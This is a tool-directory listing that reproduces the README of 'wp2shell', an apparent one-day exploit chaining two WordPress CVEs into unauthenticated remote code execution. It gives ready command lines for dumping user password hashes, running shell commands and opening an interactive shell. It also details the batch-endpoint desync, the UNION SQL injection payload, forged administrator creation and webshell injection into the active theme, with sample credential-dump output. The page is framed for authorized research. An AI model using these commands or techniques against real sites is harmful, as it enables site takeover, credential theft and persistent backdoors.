Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
Tools/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationRed TeamingPayload Development
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

CVE-2026-63030 / wp2shell

21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

wp2shell — CVE-2026-63030 + CVE-2026-60137

One-day WordPress RCE exploit chain. Unauthenticated. CVSS 9.8.

Zero dependencies — Python 3.8+ stdlib only.

Affected Versions

BranchVulnerablePatched
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

The Chain

Two CVEs chained into unauthenticated Remote Code Execution:

root@kitploit:~
CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE

Quick Start

root@kitploit:~
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

Options

root@kitploit:~
--url URL          Target WordPress base URL (required)
--check            Probe only — do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target

How It Works

Route Confusion (CVE-2026-63030)

WordPress's batch endpoint at /?rest_route=/batch/v1 accepts an array of sub-requests. When a sub-request has an unparseable path (///), a WP_Error is added to $validation but not $matches. The dispatch loop then pairs request N with handler N+1 — so a request validated against one schema is dispatched to a different handler.

The exploit sends a 3-layer nested batch where each layer uses a desync primer at position 0 to shift indices. The innermost request — validated as a single-post item (GET /wp/v2/posts/999999) — lands on the collection handler (posts->get_items()). Since the item schema doesn't define author_exclude, the parameter passes through unvalidated.

SQL Injection (CVE-2026-60137)

get_items() maps author_exclude → author__not_in and passes it to WP_Query. When author__not_in is a string (not an array), the array_map('absint', …) block is skipped. The raw string lands directly in:

root@kitploit:~
WHERE post_author NOT IN (<payload>)

The payload 0) UNION ALL SELECT …-- - closes the NOT IN list and appends arbitrary SQL.

UNION Extraction

WordPress 7.0.x wp_posts has exactly 23 columns. By injecting a forged row via UNION ALL SELECT with orderby=none (suppresses the trailing ORDER BY) and per_page=500 (keeps WP_Query in full-row mode), the forged post title — carrying a ||HEX|| marker — is reflected in the REST response. All string values use MySQL hex literals (0x…) to avoid quote-escaping issues through URL encoding.

Pre-Auth Admin Creation

  1. UNION-forge a post containing [embed] shortcodes → WordPress creates 3 oembed_cache rows
  2. Read the 3 cache post IDs back via UNION extraction
  3. UNION-forge 7 structured wp_posts rows forming a customizer changeset chain
  4. The [embed] shortcode renders, triggering WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()
  5. Administrator created with a random username (wp2_<random>) and password (Wp2!<random>)

Webshell Deployment

Login as the new admin → extract theme editor nonce → inject token-protected PHP webshell at the top of the active theme's functions.php → access via ?t=<token>&c=<command>.

Requirements

  • Python 3.8 or later
  • Zero external dependencies — uses only stdlib (urllib, json, re, hashlib, secrets, html)
  • Target must have at least one published post or page (for oEmbed cache seeding)

Limitations

  • Docker loopback: WordPress's file editor performs a wp_remote_post() loopback check before saving. If the container cannot reach itself by hostname, the theme edit is blocked. Use --dump-users + manual login in those cases.
  • No published posts: The oEmbed cache seed requires at least one public permalink. A blank WordPress install after setup has both "Hello world!" and "Sample Page".
  • WAF / mod_security: Heavy request filtering may block the nested batch payloads. Test with --check first.

Verification

root@kitploit:~
$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

Disclaimer

This tool is for authorized security research and educational purposes only. Use only against systems you own or have explicit permission to test. The authors assume no liability for misuse.

Credits

  • WPScan — CVE disclosure (CVE-2026-63030, CVE-2026-60137)
  • NVD — CVE database
Download Tool
StepCVEVector
1CVE-2026-63030REST /batch/v1 index misalignment desyncs validation from dispatch
2CVE-2026-60137author__not_in WP_Query param skips absint() when passed as string
3—UNION SELECT forges wp_posts rows; oEmbed → customizer → wp_insert_user
4—Authenticate as the newly created administrator
5—Theme editor injects token-protected webshell into active theme